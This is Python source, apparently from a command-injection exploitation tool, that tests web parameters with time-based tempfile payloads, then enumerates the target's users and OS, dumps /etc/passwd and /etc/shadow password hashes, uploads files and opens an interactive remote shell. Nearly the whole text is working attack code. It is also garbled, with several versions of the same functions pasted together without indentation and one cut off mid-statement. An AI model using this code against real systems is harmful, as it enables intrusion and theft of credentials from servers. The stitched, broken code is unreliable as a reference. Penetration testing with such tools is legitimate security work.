percent = Fore.GREEN + "SUCCEED" + Style.RESET_ALL
elif percent == 100:
if no_result == True:
percent = Fore.RED + "FAILED" + Style.RESET_ALL
else:
percent = str(percent) + "%"
else:
percent = str(percent) + "%"
sys.stdout.write("\r(*) Testing the " + technique + "... " + "[ " + percent + " ]")
sys.stdout.flush()
except KeyboardInterrupt:
raise
except:
if not menu.options.verbose:
percent = (num_of_chars * 100) / total
if percent == 100:
if no_result == True:
percent = Fore.RED + "FAILED" + Style.RESET_ALL
sys.stdout.write("\r(*) Testing the " + technique + "... " + "[ " + percent + " ]")
sys.stdout.flush()
break
else:
percent = str(percent) + "%"
raise
else:
percent = str(percent) + "%"
break
# Yaw, got shellz!
# Do some magic tricks!
if how_long >= delay:
found = True
no_result = False
# Print the findings to log file.
if export_injection_info == False:
output_file = open(filename + ".txt", "a")
output_file.write("\n(+) Type : " + injection_type)
output_file.write("\n(+) Technique : " + technique.title())
output_file.close()
export_injection_info = True
if http_request_method == "GET":
# Print the findings to log file
if vp_flag == True:
output_file = open(filename + ".txt", "a")
output_file.write("\n(+) Parameter : " + vuln_parameter + " (" + http_request_method + ")")
output_file.write("\n")
vp_flag = False
output_file.close()
counter = counter + 1
output_file = open(filename + ".txt", "a")
output_file.write(" (" + str(counter) + ") Payload : " + re.sub("%20", " ", payload) + "\n")
output_file.close()
# Vulnerabe Parameter
GET_vuln_param = parameters.vuln_GET_param(url)
# Print the findings to terminal.
print Style.BRIGHT + "\n(!) The (" + http_request_method + ") '" + Style.UNDERLINE + GET_vuln_param + Style.RESET_ALL + Style.BRIGHT + "' parameter is vulnerable to " + injection_type + "." + Style.RESET_ALL
print " (+) Type : " + Fore.YELLOW + Style.BRIGHT + injection_type + Style.RESET_ALL + ""
print " (+) Technique : " + Fore.YELLOW + Style.BRIGHT + technique.title() + Style.RESET_ALL + ""
print " (+) Payload : " + Fore.YELLOW + Style.BRIGHT + re.sub(
"%20", " ", urllib.unquote_plus(payload.replace("\n", "\\n"))
) + Style.RESET_ALL
else:
# Print the findings to log file
if vp_flag == True:
output_file = open(filename + ".txt", "a")
output_file.write("\n(+) Parameter : " + vuln_parameter + " (" + http_request_method + ")")
output_file.write("\n")
vp_flag = False
output_file.close()
counter = counter + 1
output_file = open(filename + ".txt", "a")
output_file.write(" (" + str(counter) + ") Payload : " + re.sub("%20", " ", payload) + "\n")
output_file.close()
# Vulnerabe Parameter
POST_vuln_param = vuln_parameter
# Print the findings to terminal.
print Style.BRIGHT + "\n(!) The (" + http_request_method + ") '" + Style.UNDERLINE + POST_vuln_param + Style.RESET_ALL + Style.BRIGHT + "' parameter is vulnerable to " + injection_type + "." + Style.RESET_ALL
print " (+) Type : " + Fore.YELLOW + Style.BRIGHT + injection_type + Style.RESET_ALL + ""
print " (+) Technique : " + Fore.YELLOW + Style.BRIGHT + technique.title() + Style.RESET_ALL + ""
print " (+) Payload : " + Fore.YELLOW + Style.BRIGHT + re.sub(
"%20", " ", payload.replace("\n", "\\n")
) + Style.RESET_ALL
# Check for any enumeration options.
tfb_enumeration.do_check(
separator,
maxlen,
TAG,
delay,
http_request_method,
url,
vuln_parameter,
OUTPUT_TEXTFILE,
alter_shell,
)
# Check for any enumeration options.
tfb_file_access.do_check(
separator,
maxlen,
TAG,
delay,
http_request_method,
url,
vuln_parameter,
OUTPUT_TEXTFILE,
alter_shell,
)
# Pseudo-Terminal shell
while True:
gotshell = raw_input("\n(*) Do you want a Pseudo-Terminal shell? [Y/n] > ").lower()
if gotshell in settings.CHOISE_YES:
print ""
print "Pseudo-Terminal (type 'q' or use <Ctrl-C> to quit)"
while True:
try:
cmd = raw_input("Shell > ")
if cmd == "q":
sys.exit(0)
else:
# The main command injection exploitation.
check_how_long, output = tfb_injector.injection(
separator,
maxlen,
TAG,
cmd,
delay,
http_request_method,
url,
vuln_parameter,
OUTPUT_TEXTFILE,
alter_shell,
)
if menu.options.verbose:
print ""
if output != "" and check_how_long != 0:
print "\n\n" + Fore.GREEN + Style.BRIGHT + output + Style.RESET_ALL
print "\n(*) Finished in " + time.strftime(
"%H:%M:%S", time.gmtime(check_how_long)
) + ".\n"
else:
print ""
except KeyboardInterrupt:
print ""
sys.exit(0)
elif gotshell in settings.CHOISE_NO:
break
if menu.options.verbose:
sys.stdout.write("\r(*) Continue testing the " + technique + "... ")
sys.stdout.flush()
else:
if gotshell == "":
gotshell = "enter"
print Back.RED + "(x) Error: '" + gotshell + "' is not a valid answer." + Style.RESET_ALL
pass
break
if no_result == True:
if menu.options.verbose == False:
print ""
return False
else:
print ""
return False
else:
sys.stdout.write("\r")
sys.stdout.flush()
def tfb_injection_handler(url, delay, filename, tmp_path, http_request_method):
counter = 1
vp_flag = True
no_result = True
is_encoded = False
fixation = False
export_injection_info = False
injection_type = "Semiblind-based Command Injection"
technique = "tempfile-based injection technique"
# Check if defined "--maxlen" option.
if menu.options.maxlen:
maxlen = menu.options.maxlen
# Check if defined "--url-reload" option.
if menu.options.url_reload == True:
print Back.RED + "(x) Error: The '--url-reload' option is not available in "+ technique +"!" + Style.RESET_ALL
num_of_chars = 0
# Calculate all possible combinations
total = len(settings.SEPARATORS)
# Estimating the response time (in seconds)
request = urllib2.Request(url)
headers.do_check(request)
start = time.time()
response = urllib2.urlopen(request)
response.read(1)
response.close()
end = time.time()
diff = end - start
url_time_response = int(diff)
if url_time_response != 0 :
print Style.BRIGHT + "(!) The estimated response time is " + str(url_time_response) + " second" + "s"[url_time_response == 1:] + "." + Style.RESET_ALL
delay = int(delay) + int(url_time_response)
for separator in settings.SEPARATORS:
num_of_chars = num_of_chars + 1
# Change TAG on every request to prevent false-positive resutls.
TAG = ''.join(random.choice(string.ascii_uppercase) for num_of_chars in range(6))
# The output file for file-based injection technique.
OUTPUT_TEXTFILE = tmp_path + TAG + ".txt"
alter_shell = menu.options.alter_shell
tag_length = len(TAG) + 4
for output_length in range(1, int(tag_length)):
try:
# Tempfile-based decision payload (check if host is vulnerable).
if alter_shell :
payload = tfb_payloads.decision_alter_shell(separator, output_length, TAG, OUTPUT_TEXTFILE, delay, http_request_method)
else:
payload = tfb_payloads.decision(separator, output_length, TAG, OUTPUT_TEXTFILE, delay, http_request_method)
# Check if defined "--verbose" option.
if menu.options.verbose:
if separator == ";" or separator == "&&" or separator == "||":
sys.stdout.write("\n" + Fore.GREY + payload.replace("\n", "\\n") + Style.RESET_ALL)
# Cookie Injection
if settings.COOKIE_INJECTION == True:
# Check if target host is vulnerable to cookie injection.
vuln_parameter = parameters.specify_cookie_parameter(menu.options.cookie)
how_long = tfb_injector.cookie_injection_test(url, vuln_parameter, payload)
else:
# Check if target host is vulnerable.
how_long, vuln_parameter = tfb_injector.injection_test(payload, http_request_method, url)
if not menu.options.verbose:
percent = ((num_of_chars*100)/total)
if how_long >= delay:
percent = Fore.GREEN + "SUCCEED" + Style.RESET_ALL
elif percent == 100:
if no_result == True:
percent = Fore.RED + "FAILED" + Style.RESET_ALL
else:
percent = str(percent)+"%"
else:
percent = str(percent)+"%"
sys.stdout.write("\r(*) Testing the "+ technique + "... " + "[ " + percent + " ]")
sys.stdout.flush()
except KeyboardInterrupt:
raise
except:
if not menu.options.verbose:
percent = ((num_of_chars*100)/total)
if percent == 100:
if no_result == True:
percent = Fore.RED + "FAILED" + Style.RESET_ALL
sys.stdout.write("\r(*) Testing the "+ technique + "... " + "[ " + percent + " ]")
sys.stdout.flush()
break
else:
percent = str(percent)+"%"
raise
else:
percent = str(percent)+"%"
break
# Yaw, got shellz!
# Do some magic tricks!
if how_long >= delay:
found = True
no_result = False
if settings.COOKIE_INJECTION == True:
http_request_method = "cookie"
found_vuln_parameter = vuln_parameter
else:
if http_request_method == "GET":
found_vuln_parameter = parameters.vuln_GET_param(url)
else :
found_vuln_parameter = vuln_parameter
# Print the findings to log file.
if export_injection_info == False:
export_injection_info = logs.add_type_and_technique(export_injection_info, filename, injection_type, technique)
if vp_flag == True:
vp_flag = logs.add_parameter(vp_flag, filename, http_request_method, vuln_parameter, payload)
logs.upload_payload(filename, counter, payload)
counter = counter + 1
# Print the findings to terminal.
print Style.BRIGHT + "\n(!) The ("+ http_request_method + ") '" + Style.UNDERLINE + found_vuln_parameter + Style.RESET_ALL + Style.BRIGHT + "' parameter is vulnerable to "+ injection_type +"."+ Style.RESET_ALL
print " (+) Type : "+ Fore.YELLOW + Style.BRIGHT + injection_type + Style.RESET_ALL + ""
print " (+) Technique : "+ Fore.YELLOW + Style.BRIGHT + technique.title() + Style.RESET_ALL + ""
print " (+) Payload : "+ Fore.YELLOW + Style.BRIGHT + re.sub("%20", " ", payload.replace("\n", "\\n")) + Style.RESET_ALL
# Check for any enumeration options.
tfb_enumeration.do_check(separator, maxlen, TAG, delay, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell)
# Check for any enumeration options.
tfb_file_access.do_check(separator, maxlen, TAG, delay, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell)
# Pseudo-Terminal shell
while True:
gotshell = raw_input("\n(?) Do you want a Pseudo-Terminal shell? [Y/n] > ").lower()
if gotshell in settings.CHOISE_YES:
print ""
print "Pseudo-Terminal (type 'q' or use <Ctrl-C> to quit)"
while True:
try:
cmd = raw_input("Shell > ")
if cmd == "q":
sys.exit(0)
else:
# The main command injection exploitation.
# Cookie Injection
check_how_long, output = tfb_injector.injection(separator, maxlen, TAG, cmd, delay, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell)
if menu.options.verbose:
print ""
if output != "" and check_how_long != 0 :
print "\n\n" + Fore.GREEN + Style.BRIGHT + output + Style.RESET_ALL
print "\n(*) Finished in "+ time.strftime('%H:%M:%S', time.gmtime(check_how_long)) +".\n"
else:
print ""
except KeyboardInterrupt:
print ""
sys.exit(0)
elif gotshell in settings.CHOISE_NO:
break
if menu.options.verbose:
sys.stdout.write("\r(*) Continue testing the "+ technique +"... ")
sys.stdout.flush()
else:
if gotshell == "":
gotshell = "enter"
print Back.RED + "(x) Error: '" + gotshell + "' is not a valid answer." + Style.RESET_ALL
pass
break
if no_result == True:
if menu.options.verbose == False:
print ""
return False
else:
print ""
return False
else :
sys.stdout.write("\r")
sys.stdout.flush()
def do_check(separator, maxlen, TAG, delay, http_request_method, url,
vuln_parameter, OUTPUT_TEXTFILE, alter_shell):
# Hostname enumeration
if menu.options.hostname:
cmd = settings.HOSTNAME
check_how_long, output = tfb_injector.injection(
separator, maxlen, TAG, cmd, delay, http_request_method, url,
vuln_parameter, OUTPUT_TEXTFILE, alter_shell)
shell = output
if shell:
shell = "".join(str(p) for p in output)
sys.stdout.write(Style.BRIGHT + "\n\n (!) The hostname is " +
Style.UNDERLINE + shell + Style.RESET_ALL + ".\n")
sys.stdout.flush()
# "Retrieve certain system information (operating system, hardware platform)
if menu.options.sys_info:
cmd = settings.RECOGNISE_OS
check_how_long, output = tfb_injector.injection(
separator, maxlen, TAG, cmd, delay, http_request_method, url,
vuln_parameter, OUTPUT_TEXTFILE, alter_shell)
target_os = output
if target_os:
target_os = "".join(str(p) for p in output)
if target_os == "Linux":
cmd = settings.RECOGNISE_HP
check_how_long, output = tfb_injector.injection(
separator, maxlen, TAG, cmd, delay, http_request_method,
url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell)
target_arch = output
if target_arch:
target_arch = "".join(str(p) for p in target_arch)
sys.stdout.write(
Style.BRIGHT +
"\n\n (!) The target operating system is " +
Style.UNDERLINE + target_os + Style.RESET_ALL)
sys.stdout.write(Style.BRIGHT +
" and the hardware platform is " +
Style.UNDERLINE + target_arch +
Style.RESET_ALL + ".\n")
sys.stdout.flush()
else:
sys.stdout.write(Style.BRIGHT +
"\n (!) The target operating system is " +
Style.UNDERLINE + target_os +
Style.RESET_ALL + ".\n")
sys.stdout.flush()
# The current user enumeration
if menu.options.current_user:
cmd = settings.CURRENT_USER
if menu.options.cookie and settings.INJECT_TAG in menu.options.cookie:
# Check if target host is vulnerable to cookie injection.
vuln_parameter = parameters.specify_cookie_parameter(
menu.options.cookie)
check_how_long, output = tfb_injector.cookie_injection(
separator, maxlen, TAG, cmd, delay, http_request_method, url,
vuln_parameter, OUTPUT_TEXTFILE, alter_shell)
else:
check_how_long, output = tfb_injector.injection(
separator, maxlen, TAG, cmd, delay, http_request_method, url,
vuln_parameter, OUTPUT_TEXTFILE, alter_shell)
cu_account = output
if cu_account:
cu_account = "".join(str(p) for p in output)
# Check if the user have super privilleges.
if menu.options.is_root:
cmd = settings.ISROOT
check_how_long, output = tfb_injector.injection(
separator, maxlen, TAG, cmd, delay, http_request_method,
url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell)
if shell:
sys.stdout.write(Style.BRIGHT +
"\n\n (!) The current user is " +
Style.UNDERLINE + cu_account +
Style.RESET_ALL)
if shell != "0":
sys.stdout.write(Style.BRIGHT + " and it is " +
Style.UNDERLINE + "not" +
Style.RESET_ALL + Style.BRIGHT +
" privilleged" + Style.RESET_ALL +
".\n")
sys.stdout.flush()
else:
sys.stdout.write(Style.BRIGHT + " and it is " +
Style.UNDERLINE + "" +
Style.RESET_ALL + Style.BRIGHT +
" privilleged" + Style.RESET_ALL +
".\n")
sys.stdout.flush()
else:
sys.stdout.write(Style.BRIGHT +
"\n\n (!) The current user is " +
Style.UNDERLINE + cu_account +
Style.RESET_ALL + ".\n")
sys.stdout.flush()
# System users enumeration
if menu.options.users:
sys.stdout.write("\n(*) Fetching '" + settings.PASSWD_FILE +
"' to enumerate users entries... ")
sys.stdout.flush()
cmd = settings.SYS_USERS
check_how_long, output = tfb_injector.injection(
separator, maxlen, TAG, cmd, delay, http_request_method, url,
vuln_parameter, OUTPUT_TEXTFILE, alter_shell)
sys_users = output
if sys_users:
sys_users = "".join(str(p) for p in sys_users)
sys_users = sys_users.replace("(@)", "\n")
sys_users = sys_users.split()
if len(sys_users) != 0:
sys.stdout.write(Style.BRIGHT + "\n(!) Identified " +
str(len(sys_users)) + " entries in '" +
settings.PASSWD_FILE + "'.\n" +
Style.RESET_ALL)
sys.stdout.flush()
count = 0
for line in sys_users:
count = count + 1
fields = line.split(":")
# System users privileges enumeration
if menu.options.privileges:
if int(fields[1]) == 0:
is_privilleged = Style.RESET_ALL + " is" + Style.BRIGHT + " root user "
elif int(fields[1]) > 0 and int(fields[1]) < 99:
is_privilleged = Style.RESET_ALL + " is" + Style.BRIGHT + " system user "
elif int(fields[1]) >= 99 and int(fields[1]) < 65534:
if int(fields[1]) == 99 or int(
fields[1]) == 60001 or int(
fields[1]) == 65534:
is_privilleged = Style.RESET_ALL + " is" + Style.BRIGHT + " anonymous user "
elif int(fields[1]) == 60002:
is_privilleged = Style.RESET_ALL + " is" + Style.BRIGHT + " non-trusted user "
else:
is_privilleged = Style.RESET_ALL + " is" + Style.BRIGHT + " regular user "
else:
is_privilleged = ""
else:
is_privilleged = ""
print " (" + str(
count
) + ") '" + Style.BRIGHT + Style.UNDERLINE + fields[
0] + Style.RESET_ALL + "'" + Style.BRIGHT + is_privilleged + Style.RESET_ALL + "(uid=" + fields[
1] + ").Home directory is in '" + Style.BRIGHT + fields[
2] + Style.RESET_ALL + "'."
else:
print "\n" + Back.RED + "(x) Error: Cannot open '" + settings.PASSWD_FILE + "'." + Style.RESET_ALL
# System users enumeration
if menu.options.passwords:
sys.stdout.write("\n(*) Fetching '" + settings.SHADOW_FILE +
"' to enumerate users password hashes... ")
sys.stdout.flush()
cmd = settings.SYS_PASSES
check_how_long, output = tfb_injector.injection(
separator, maxlen, TAG, cmd, delay, http_request_method, url,
vuln_parameter, OUTPUT_TEXTFILE, alter_shell)
sys_passes = output
if sys_passes:
sys_passes = "".join(str(p) for p in sys_passes)
sys_passes = sys_passes.replace("(@)", "\n")
sys_passes = sys_passes.split()
if len(sys_passes) != 0:
sys.stdout.write(Style.BRIGHT + "\n(!) Identified " +
str(len(sys_passes)) + " entries in '" +
settings.SHADOW_FILE + "'.\n" +
Style.RESET_ALL)
sys.stdout.flush()
count = 0
for line in sys_passes:
count = count + 1
fields = line.split(":")
if fields[1] != "*" and fields[1] != "!!" and fields[
1] != "":
print " (" + str(count) + ") " + Style.BRIGHT + fields[
0] + Style.RESET_ALL + " : " + Style.BRIGHT + fields[
1] + Style.RESET_ALL
else:
print "\n" + Back.RED + "(x) Error: Cannot open '" + settings.SHADOW_FILE + "'." + Style.RESET_ALL
# Single os-shell execution
if menu.options.os_cmd:
cmd = menu.options.os_cmd
check_how_long, output = tfb_injector.injection(
separator, maxlen, TAG, cmd, delay, http_request_method, url,
vuln_parameter, OUTPUT_TEXTFILE, alter_shell)
shell = output
if shell:
if menu.options.verbose:
print ""
shell = "".join(str(p) for p in shell)
print "\n\n" + Fore.GREEN + Style.BRIGHT + shell + Style.RESET_ALL
sys.exit(0)
# eof
def do_check(separator,maxlen,TAG,delay,http_request_method,url,vuln_parameter,OUTPUT_TEXTFILE,alter_shell):
# Hostname enumeration
if menu.options.hostname:
cmd = settings.HOSTNAME
check_how_long,output = tfb_injector.injection(separator,maxlen,TAG,cmd,delay,http_request_method,url,vuln_parameter,OUTPUT_TEXTFILE,alter_shell)
shell = output
if shell:
shell = "".join(str(p) for p in output)
sys.stdout.write(colors.BOLD + "\n\n (!) The hostname is " + colors.UNDERL + shell + colors.RESET + ".\n")
sys.stdout.flush()
# "Retrieve certain system information (operating system, hardware platform)
if menu.options.sys_info:
cmd = settings.RECOGNISE_OS
check_how_long,output = tfb_injector.injection(separator,maxlen,TAG,cmd,delay,http_request_method,url,vuln_parameter,OUTPUT_TEXTFILE,alter_shell)
target_os = output
if target_os:
target_os = "".join(str(p) for p in output)
if target_os == "Linux":
cmd = settings.RECOGNISE_HP
check_how_long,output = tfb_injector.injection(separator,maxlen,TAG,cmd,delay,http_request_method,url,vuln_parameter,OUTPUT_TEXTFILE,alter_shell)
target_arch = output
if target_arch:
target_arch = "".join(str(p) for p in target_arch)
sys.stdout.write(colors.BOLD + "\n\n (!) The target operating system is " + colors.UNDERL + target_os + colors.RESET)
sys.stdout.write(colors.BOLD + " and the hardware platform is " + colors.UNDERL + target_arch + colors.RESET + ".\n")
sys.stdout.flush()
else:
sys.stdout.write(colors.BOLD + "\n (!) The target operating system is " + colors.UNDERL + target_os + colors.RESET + ".\n")
sys.stdout.flush()
# The current user enumeration
if menu.options.current_user:
cmd = settings.CURRENT_USER
check_how_long,output = tfb_injector.injection(separator,maxlen,TAG,cmd,delay,http_request_method,url,vuln_parameter,OUTPUT_TEXTFILE,alter_shell)
cu_account = output
if cu_account:
cu_account = "".join(str(p) for p in output)
# Check if the user have super privilleges.
if menu.options.is_root:
cmd = settings.ISROOT
check_how_long,output = tfb_injector.injection(separator,maxlen,TAG,cmd,delay,http_request_method,url,vuln_parameter,OUTPUT_TEXTFILE,alter_shell)
if shell:
sys.stdout.write(colors.BOLD + "\n\n (!) The current user is " + colors.UNDERL + cu_account + colors.RESET)
if shell != "0":
sys.stdout.write(colors.BOLD + " and it is " + colors.UNDERL + "not" + colors.RESET + colors.BOLD + " privilleged" + colors.RESET + ".")
sys.stdout.flush()
else:
sys.stdout.write(colors.BOLD + " and it is " + colors.UNDERL + "" + colors.RESET + colors.BOLD + " privilleged" + colors.RESET + ".")
sys.stdout.flush()
else:
sys.stdout.write(colors.BOLD + "\n(!) The current user is " + colors.UNDERL + cu_account + colors.RESET + ".")
sys.stdout.flush()
print ""
# Single os-shell execution
if menu.options.os_shell:
cmd = menu.options.os_shell
check_how_long,output = tfb_injector.injection(separator,maxlen,TAG,cmd,delay,http_request_method,url,vuln_parameter,OUTPUT_TEXTFILE,alter_shell)
shell = output
if shell:
if menu.options.verbose:
print ""
shell = "".join(str(p) for p in shell)
print "\n" + colors.GREEN + colors.BOLD + output + colors.RESET
sys.exit(0)
# eof
def tfb_injection_handler(url,delay,filename,tmp_path,http_request_method):
counter = 0
vp_flag = True
no_result = True
is_encoded= False
injection_type = "Semiblind-based Command Injection"
technique = "tempfile-based injection technique"
# Print the findings to log file.
output_file = open(filename + ".txt", "a")
output_file.write("\n---")
output_file.write("\n(+) Type : " + injection_type)
output_file.write("\n(+) Technique : " + technique.title())
output_file.close()
# Check if defined "--maxlen" option.
if menu.options.maxlen:
maxlen = menu.options.maxlen
# Check if defined "--url-reload" option.
if menu.options.url_reload == True:
print colors.BGRED + "(x) Error: The '--url-reload' option is not available in "+ technique +"!" + colors.RESET
i = 0
# Calculate all possible combinations
total = len(settings.SEPARATORS)
#Estimating the response time (in seconds)
sys.stdout.write("(*) The estimated response time is ")
sys.stdout.flush()
opener = urllib.FancyURLopener({})
start = time.time()
f = opener.open(url)
end = time.time()
diff = end - start
url_time_response = int(diff)
print str(url_time_response) + " second" + "s"[url_time_response == 1:] + "."
delay = int(delay) + int(url_time_response)
for separator in settings.SEPARATORS:
i = i + 1
# Change TAG on every request to prevent false-positive resutls.
TAG = ''.join(random.choice(string.ascii_uppercase) for i in range(6))
# Check if defined "--base64" option.
if menu.options.base64_trick == True:
B64_ENC_TAG = base64.b64encode(TAG)
B64_DEC_TRICK = settings.B64_DEC_TRICK
else:
B64_ENC_TAG = TAG
B64_DEC_TRICK = ""
# The output file for file-based injection technique.
OUTPUT_TEXTFILE = tmp_path + B64_ENC_TAG + ".txt"
alter_shell = menu.options.alter_shell
tag_length = len(TAG) + 4
for j in range(1,int(tag_length)):
try:
# Tempfile-based decision payload (check if host is vulnerable).
if alter_shell :
payload = tfb_payloads.decision_alter_shell(separator,j,TAG,OUTPUT_TEXTFILE,delay,http_request_method)
else:
payload = tfb_payloads.decision(separator,j,TAG,OUTPUT_TEXTFILE,delay,http_request_method)
# Check if defined "--verbose" option.
if menu.options.verbose:
if separator == ";" or separator == "&&" or separator == "||":
sys.stdout.write("\n" + colors.GREY + payload + colors.RESET)
# Check if target host is vulnerable
how_long,vuln_parameter = tfb_injector.injection_test(payload,http_request_method,url)
if not menu.options.verbose:
percent = ((i*100)/total)
if how_long == delay:
percent = colors.GREEN + "SUCCEED" + colors.RESET
elif percent == 100:
if no_result == True:
percent = colors.RED + "FAILED" + colors.RESET
else:
percent = str(percent)+"%"
else:
percent = str(percent)+"%"
sys.stdout.write(colors.BOLD + "\r(*) Testing the "+ technique + "... " + colors.RESET + "[ " + percent + " ]")
sys.stdout.flush()
except KeyboardInterrupt:
raise
except:
if not menu.options.verbose:
percent = ((i*100)/total)
if percent == 100:
if no_result == True:
percent = colors.RED + "FAILED" + colors.RESET
else:
percent = str(percent)+"%"
else:
percent = str(percent)+"%"
sys.stdout.write(colors.BOLD + "\r(*) Testing the "+ technique + "... " + colors.RESET + "[ " + percent + " ]")
sys.stdout.flush()
continue
# Yaw, got shellz!
# Do some magic tricks!
if how_long == delay:
found = True
no_result = False
if http_request_method == "GET":
# Print the findings to log file
if vp_flag == True:
output_file = open(filename + ".txt", "a")
output_file.write("\n(+) Parameter : " + vuln_parameter + " (" + http_request_method + ")")
output_file.write("\n---\n")
vp_flag = False
output_file.close()
counter = counter + 1
output_file = open(filename + ".txt", "a")
output_file.write(" ("+str(counter)+") Payload : "+ re.sub("%20", " ", payload) + "\n")
output_file.close()
#Vulnerabe Parameter
GET_vuln_param = parameters.vuln_GET_param(url)
# Print the findings to terminal.
print colors.BOLD + "\n(!) The ("+ http_request_method + ") '" + colors.UNDERL + GET_vuln_param + colors.RESET + colors.BOLD + "' parameter is vulnerable to "+ injection_type +"."+ colors.RESET
print " (+) Type : "+ colors.YELLOW + colors.BOLD + injection_type + colors.RESET + ""
print " (+) Technique : "+ colors.YELLOW + colors.BOLD + technique.title() + colors.RESET + ""
print " (+) Payload : "+ colors.YELLOW + colors.BOLD + re.sub("%20", " ", urllib.unquote_plus(payload)) + colors.RESET
else :
# Print the findings to log file
if vp_flag == True:
output_file = open(filename + ".txt", "a")
output_file.write("\n(+) Parameter : " + vuln_parameter + " (" + http_request_method + ")")
output_file.write("\n---\n")
vp_flag = False
output_file.close()
counter = counter + 1
output_file = open(filename + ".txt", "a")
output_file.write(" ("+str(counter)+") Payload : "+ re.sub("%20", " ", payload) + "\n")
output_file.close()
#Vulnerabe Parameter
POST_vuln_param = vuln_parameter
# Print the findings to terminal.
print colors.BOLD + "\n(!) The ("+ http_request_method + ") '" + colors.UNDERL + POST_vuln_param + colors.RESET + colors.BOLD + "' parameter is vulnerable to "+ injection_type +"."+ colors.RESET
print " (+) Type : "+ colors.YELLOW + colors.BOLD + injection_type + colors.RESET + ""
print " (+) Technique : "+ colors.YELLOW + colors.BOLD + technique.title() + colors.RESET + ""
print " (+) Payload : "+ colors.YELLOW + colors.BOLD + re.sub("%20", " ", payload) + colors.RESET
# Check for any enumeration options.
tfb_enumeration.do_check(separator,maxlen,TAG,delay,http_request_method,url,vuln_parameter,OUTPUT_TEXTFILE,alter_shell)
# Pseudo-Terminal shell
gotshell = raw_input("\n(*) Do you want a Pseudo-Terminal shell? [Y/n] > ").lower()
if gotshell in settings.CHOISE_YES:
print ""
print "Pseudo-Terminal (type 'q' or use <Ctrl-C> to quit)"
while True:
try:
cmd = raw_input("Shell > ")
if cmd == "q":
sys.exit(0)
else:
# The main command injection exploitation.
check_how_long,output = tfb_injector.injection(separator,maxlen,TAG,cmd,delay,http_request_method,url,vuln_parameter,OUTPUT_TEXTFILE,alter_shell)
if menu.options.verbose:
print ""
print "\n\n" + colors.GREEN + colors.BOLD + output + colors.RESET
print "\n(*) Finished in "+ time.strftime('%H:%M:%S', time.gmtime(check_how_long)) +".\n"
except KeyboardInterrupt:
print ""
sys.exit(0)
else:
if menu.options.verbose:
sys.stdout.write("\r(*) Continue testing the "+ technique +"... ")
sys.stdout.flush()
pass
if no_result == True:
if menu.options.verbose == False:
print ""
return False
else:
print ""
return False
else :
if menu.options.verbose == True:
print ""
sys.stdout.write("\r")
sys.stdout.flush()
if os.path.split(menu.options.file_dest)[1] == "":
dest_to_upload = os.path.split(
menu.options.file_dest)[0] + "/" + os.path.split(
menu.options.file_upload)[1]
elif os.path.split(menu.options.file_dest)[0] == "/":
dest_to_upload = "/" + os.path.split(
menu.options.file_dest)[1] + "/" + os.path.split(
menu.options.file_upload)[1]
else:
dest_to_upload = menu.options.file_dest
OUTPUT_TEXTFILE = dest_to_upload
# Execute command
cmd = settings.FILE_UPLOAD + file_to_upload + " -O " + dest_to_upload
check_how_long, output = tfb_injector.injection(
separator, maxlen, TAG, cmd, prefix, suffix, delay,
http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell)
shell = output
shell = "".join(str(p) for p in shell)
## Check if file exists!
cmd = "echo $(ls " + dest_to_upload + ")"
check_how_long, output = tfb_injector.injection(
separator, maxlen, TAG, cmd, prefix, suffix, delay,
http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell)
shell = output
shell = "".join(str(p) for p in shell)
if shell:
if menu.options.verbose:
print ""
sys.stdout.write(Style.BRIGHT + "\n\n (!) The " + Style.UNDERLINE +
def tfb_injection_handler(url, delay, filename, tmp_path, http_request_method, url_time_response):
counter = 1
num_of_chars = 1
vp_flag = True
no_result = True
is_encoded = False
export_injection_info = False
injection_type = "Semiblind-based Command Injection"
technique = "tempfile-based injection technique"
# Check if defined "--maxlen" option.
if menu.options.maxlen:
maxlen = menu.options.maxlen
# Check if defined "--url-reload" option.
if menu.options.url_reload == True:
print Back.RED + "(x) Error: The '--url-reload' option is not available in "+ technique +"!" + Style.RESET_ALL
# Calculate all possible combinations
total = (len(settings.PREFIXES) * len(settings.SEPARATORS) * len(settings.SUFFIXES) - len(settings.JUNK_COMBINATION))
for prefix in settings.PREFIXES:
for suffix in settings.SUFFIXES:
for separator in settings.SEPARATORS:
num_of_chars = num_of_chars + 1
# Check for bad combination of prefix and separator
combination = prefix + separator
if combination in settings.JUNK_COMBINATION:
prefix = ""
# Change TAG on every request to prevent false-positive resutls.
TAG = ''.join(random.choice(string.ascii_uppercase) for num_of_chars in range(6))
# The output file for file-based injection technique.
OUTPUT_TEXTFILE = tmp_path + TAG + ".txt"
alter_shell = menu.options.alter_shell
tag_length = len(TAG) + 4
for output_length in range(1, int(tag_length)):
try:
# Tempfile-based decision payload (check if host is vulnerable).
if alter_shell :
payload = tfb_payloads.decision_alter_shell(separator, output_length, TAG, OUTPUT_TEXTFILE, delay, http_request_method)
else:
payload = tfb_payloads.decision(separator, output_length, TAG, OUTPUT_TEXTFILE, delay, http_request_method)
# Fix prefixes / suffixes
payload = parameters.prefixes(payload, prefix)
payload = parameters.suffixes(payload, suffix)
# Check if defined "--verbose" option.
if menu.options.verbose:
sys.stdout.write("\n" + Fore.GREY + "(~) Payload: " + payload.replace("\n", "\\n") + Style.RESET_ALL)
# Cookie Injection
if settings.COOKIE_INJECTION == True:
# Check if target host is vulnerable to cookie injection.
vuln_parameter = parameters.specify_cookie_parameter(menu.options.cookie)
how_long = tfb_injector.cookie_injection_test(url, vuln_parameter, payload)
# User-Agent Injection
elif settings.USER_AGENT_INJECTION == True:
# Check if target host is vulnerable to user-agent injection.
vuln_parameter = parameters.specify_user_agent_parameter(menu.options.agent)
how_long = tfb_injector.user_agent_injection_test(url, vuln_parameter, payload)
# Referer Injection
elif settings.REFERER_INJECTION == True:
# Check if target host is vulnerable to referer injection.
vuln_parameter = parameters.specify_referer_parameter(menu.options.referer)
how_long = tfb_injector.referer_injection_test(url, vuln_parameter, payload)
else:
# Check if target host is vulnerable.
how_long, vuln_parameter = tfb_injector.injection_test(payload, http_request_method, url)
# Injection percentage calculation
percent = ((num_of_chars * 100) / total)
if percent == 100 and no_result == True:
if not menu.options.verbose:
percent = Fore.RED + "FAILED" + Style.RESET_ALL
else:
percent = ""
else:
if (url_time_response <= 1 and how_long >= delay) or \
(url_time_response >= 2 and how_long > delay):
# Time relative false positive fixation.
